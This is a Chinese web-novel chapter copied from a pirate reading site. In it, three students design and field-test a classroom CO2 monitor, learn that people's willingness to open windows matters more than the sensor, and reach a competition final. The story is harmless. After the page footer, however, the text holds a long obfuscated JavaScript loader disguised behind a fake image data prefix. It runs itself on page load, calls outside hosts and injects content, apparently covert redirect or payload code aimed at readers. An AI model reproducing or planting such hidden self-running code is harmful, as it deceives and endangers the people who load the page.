首页
第一卷 少年游 第五十
返回
关灯 护眼:关 字号:小

第一卷 少年游 第五十七章结霜

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第一卷少年游第五十七章结霜(第1/2页)
    十一月以后,县城的早晨开始真正冷下来。县一中那几栋老教学楼没有集中供暖,教室里四十多个人一到冬天便陷入一种很难解决的矛盾:窗户打开,冷风从缝里灌进来,靠窗的人一节课能把校服拉链拉到下巴;窗户全关,到了第三节课以后空气便越来越闷,后排有人趴着不动,老师讲到一半也会停下来,说“开两分钟窗,人都快熟了”。过去原既白并没觉得这有什么值得研究,大家从小学就是这么过来的,直到一次物理课后许澄拿了学校实验室一只简易二氧化碳检测仪进教室,屏幕上的数字从课前七百多一路往上爬,第四节快下课时已经超过两千五。
    宋弈第一反应是机器坏了,抱出去重新校准,拿回来数字仍然很高。几个学生围在仪器边看,秦老师从后门进来,问他们又在搞什么。听完以后他站在讲台上环顾一圈,四扇窗只开着一条缝,玻璃内侧甚至凝了一层浅浅的水汽。他让靠窗的人把窗打开,冷空气一下扑进来,前排几个女生同时缩脖子。五分钟以后,检测仪掉到一千六百左右,数字还在继续往下。秦老师看了半天,说:“所以你们以后准备一边冻着一边保持清醒?”宋弈说可以设计自动开窗,许澄马上反问停电怎么办,班里乱哄哄讨论起来。原既白没有加入,他只是盯着那条不断下降的数字,想起了省城那场排课交流——有些问题看起来很熟,真正麻烦的地方往往不是“有没有办法”,而是哪一种代价由谁承担。
    那天晚上,苏棠把冬季工程制作赛的正式通知发到群里。比赛由几所大学联合支持,高中生可以跨校组队,题目完全开放,只要求做出能被真实用户试用的原型,而且决赛时必须提交至少两轮现场测试记录。赵峤几乎秒回,问折叠座算不算;苏棠说你如果再做那块板子,我就退出。两个人在群里吵了几分钟,最后把原既白拖出来。原既白原本还在看一篇图优化的文章,被连续艾特十几次,只能回一句“做什么”。苏棠说不知道,所以才问你。原既白看着屏幕,突然想到白天那只二氧化碳检测仪,便把教室里的情况说了。赵峤立即说可以做自动窗,苏棠则问:“学生愿意开吗?”这一句把原既白原本已经往控制系统上走的思路拉了回来。
    周末三个人第一次在线开会,江遥也被苏棠拉进来。她这段时间物竞训练越来越重,明确说自己不参加比赛,只听一会儿。赵峤已经画了一版自动开窗装置,用小电机带动窗扇,根据二氧化碳浓度自动开启;原既白则把问题往上一层整理成“空气质量、温度与人的舒适度之间的动态平衡”,甚至开始考虑每间教室人数、外界温度、课程时长不同,阈值不应该固定。苏棠听了十分钟,忽然说:“你们两个又开始了。我们连人为什么不开窗都还不知道。”江遥在视频另一头笑了一声,原既白看她:“你笑什么?”江遥说没什么,只觉得这个场景非常熟悉。
    于是第一周什么都没做。
    三个人拿着检测仪在县一中、赵峤学校和苏棠所在的省城学校各测了几间教室,顺便问学生什么时候愿意开窗。结果比想象中乱得多。有人根本不在乎空气闷,只怕冷;有人愿意开,却因为旁边同学抱怨又关上;老师和学生的偏好也不同,体育课后回教室的人嫌热,早读时刚从宿舍出来的人恨不得把所有窗都封死。更有意思的是,有些班二氧化碳已经很高,大家却并不觉得“闷”;另一些班数字没那么严重,靠近垃圾桶或者门口的人仍然觉得空气不好。苏棠把几十条访谈贴在共享文档里,最后只写了一句:“人的鼻子不是传感器,传感器也不是人。”
    原既白这一次没有急着把所有东西统一起来。他把三所学校的数据按时间画出来,先找最稳定的一件事:当教室人数多、门窗关闭时间长时,二氧化碳浓度确实会上升,而且不少学生会在高浓度时段报告困倦,但温度对是否愿意通风的影响非常大。换句话说,他们面对的不是“学生不知道该开窗”,而是所有人都知道需要通风,却没有人愿意承担那几分钟的冷。赵峤提议做热交换新风,苏棠说你先解决成本;原既白认真算了半天,发现稍微像样的新风设备一间教室就超出比赛预算很多倍,只能暂时放弃。
    真正的第一版原型简单得让赵峤嫌丢人。
    一个二氧化碳传感器,一个温度传感器,一块很小的显示屏,再加一圈能变亮度的灯。空气正常时什么都不做;浓度升高时先亮黄,继续升高才变红,同时根据室外温度给出建议通风时间。没有自动开窗,没有App,没有云平台,甚至没有声音。苏棠坚持不响,因为“教室里已经够吵了”;原既白原本想把推荐时间做成一个动态模型,后来发现第一轮数据根本不足以支撑,只先用了非常粗的分段规则。赵峤把外壳做出来以后盯了半天,说这东西比电子钟高级不了多少。苏棠回答:“至少电子钟不会让你开窗。”
    第一轮试用放在原既白自己班。
    装上去第一天,全班都觉得新鲜。第三节课中间灯环第一次从黄变红,宋弈像发现火警一样站起来,把两扇窗全部推开,前排立刻一片骂声。两分钟以后数字快速下降,窗又关上。第四节课红灯再亮时,没人动。许澄提醒了一次,靠窗女生说刚暖和一点,别开。到了下午,甚至有人开始把外套挂在装置前面,嫌那个红光看着烦。原既白站在后排看见这一幕,没有生气,只觉得非常熟悉:东西工作正常,不代表人就会照它做。
    苏棠听完当天反馈,笑了很久,说他们花了两个星期做出一个会被学生用校服挡住的红灯。赵峤反而有点受打击,因为他把外壳做得相当认真。第二版没有增加更多功能,恰恰相反,他们把“警报”拿掉,开始试另一种方式:灯不再提示“你应该开窗”,只显示教室过去二十分钟空气变化,并让坐在不同位置的人自己选择是否通风。苏棠又提出轮换——每周由不同座位的人决定什么时候开、开哪一扇,避免永远由靠窗的人承担寒冷。原既白最初觉得这已经从工程问题跑到了班级规则,后来没有反对。因为他们真正想改变的不是一个数值,而是一群人怎么共同承担一个很小却持续存在的成本。
    (本章未完,请点击下一页继续阅读)第一卷少年游第五十七章结霜(第2/2页)
    第二轮效果明显好一些。学生会看曲线,甚至开始猜什么时候会变红;有人发现只开后门和一扇上窗,也能让数值缓慢下降,冷风却没有那么直接。一次数学课后,班里自己试出了“下课全部开两分钟、上课只留上方小缝”的办法。原既白没有把这个结果写进程序,因为那不是程序发现的,是班里的人自己折腾出来的。他只把不同通风方式下的数据重新记录。赵峤随后把设备做成可以夹在窗框旁的小盒子,苏棠则坚持把操作说明缩到三行。
    他们第一次把完整原型拿去省城测试,是十二月初。
    那天刚好是江遥A组训练结束的周六。她原本说只过来看半小时,最后从下午两点待到晚上八点。原既白他们借到一间空教室做模拟测试,又去隔壁晚自习班观察真实情况。江遥坐在窗边看了一会儿,很快提出一个问题:“你们这个传感器放哪里?”
    赵峤说离地一米五左右,靠墙。
    “每个教室都一样?”
    “差不多。”
    江遥没有继续说,只把设备从墙边拿下来,放到教室中间一张空桌上。十分钟以后,两边读数开始出现差异。差异并不大,几十到一百多,但当门刚打开、学生进出频繁时,差距会更明显。原既白把两个传感器互换位置再测,结果仍然存在。
    赵峤说可能是空气混合不均。
    江遥点头,又问:“那你们比赛展示的时候,准备告诉评委哪个数是真的?”
    没人回答。
    他们一直以为“二氧化碳浓度”是一个教室只有一个值。真正测下去才发现,靠窗、靠门、教室中央、高度不同,读数都可能偏。原既白立刻开始想如何建一个空间分布模型,江遥却看了他一眼:“你又要上去了?”
    原既白停住。
    苏棠在旁边笑。
    江遥把两只传感器放回桌上,说现在最重要的不是知道整个教室每一立方米空气到底是多少,而是确认他们这个盒子放在一个固定位置时,读数是否足够稳定地反映趋势。如果只是做趋势提醒,允许有误差;如果他们准备告诉学生“现在就是1850ppm”,那就是另一回事。
    原既白没有反驳。他们用了剩下三个小时,把设备放在四个位置反复测,最后选择了一个远离窗、门和人直接呼吸的位置,并决定界面不再显示个位数精确值,只显示近似区间和趋势箭头。赵峤一开始舍不得,因为数字越精确看起来越专业。江遥看着屏幕上“1837”变成“约1800”,说:“假装知道得更精确,不叫专业。”
    晚上几个人去学校外面吃面。苏棠和赵峤为了酸菜该不该多加吵了两句,江遥坐在原既白对面,明显比暑假时瘦了一点。物竞训练让她整个人有种被压紧的感觉,讲话还是快,但吃到一半会突然走神,手指在桌面无意识地画受力图。原既白问她最近A组第几,她说周测第五,实验第八,然后很自然地问他联校交流以后有没有再犯“找高处病”。原既白说今天本来差点犯,被你拦了。江遥说那要收费。
    苏棠抬头:“你们两个为什么都有自己的病名?”
    赵峤接得很快:“因为病程比较长。”
    一桌人笑起来。
    吃完面已经快九点,江遥先回学校。原既白和苏棠、赵峤去公交站。省城冬天的风比县城更硬,吹到脸上像有很细的沙。赵峤把装着原型的盒子抱在怀里,怕传感器一路撞坏。苏棠忽然问:“你们觉得能进决赛吗?”赵峤说当然,原既白却没回答。
    “你呢?”苏棠追问。
    原既白看着那个并不漂亮的小盒子。它没有人工智能,没有复杂算法,也没有一眼让人惊叹的机械结构,甚至最有效的部分之一只是让一群学生商量什么时候开窗。放到工程比赛里,这东西很容易被更酷的作品压过去。
    “应该有机会。”他说。
    苏棠听出他没有过去那种确定,反而点了点头。
    公交车来了。
    三个人挤上去,赵峤为了保护盒子没抢到座,只能站在门边。车开过两个站以后,手机同时震了一下。
    比赛初审结果提前公布。
    苏棠先点开。
    二百一十七支队伍,三十二支进入现场决赛。
    她从上往下找,手指越滑越快。赵峤几乎把头伸到她手机上,原既白站在后面看不清,只听见苏棠忽然吸了一口气。
    “有。”
    赵峤问:“第几?”
    苏棠把手机转过来。
    他们排第七。
    赵峤一下笑出声,抱着盒子的手差点松开,又赶紧夹紧。苏棠直接在群里发了一串乱七八糟的表情,随后把截图丢给江遥。
    江遥一分钟不到就回:
    “请吃饭。”
    赵峤立刻说:“她又没参赛。”
    苏棠:“她发现传感器位置问题,算技术顾问。”
    赵峤想了想:“那可以请半顿。”
    原既白靠在公交车扶手旁边,看着手机上的“第七”两个字,也笑了。
    车窗外的店铺一间间往后退,玻璃上全是里面人的倒影。苏棠还在算决赛当天几点集合,赵峤已经开始琢磨外壳要不要重新打印。原既白把初审评语往下拉,在最后看到一句:
    **“现场测试充分,问题真实;技术创新度一般,用户行为部分有价值。”**
    他看了两遍。
    没有觉得“技术创新度一般”刺眼。
    至少当时没有。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="o50hvng3np";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/On0hX2ps2J/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"On0hX2ps2J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q/f/}Ko}j(8}vY8On0hX2ps2J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();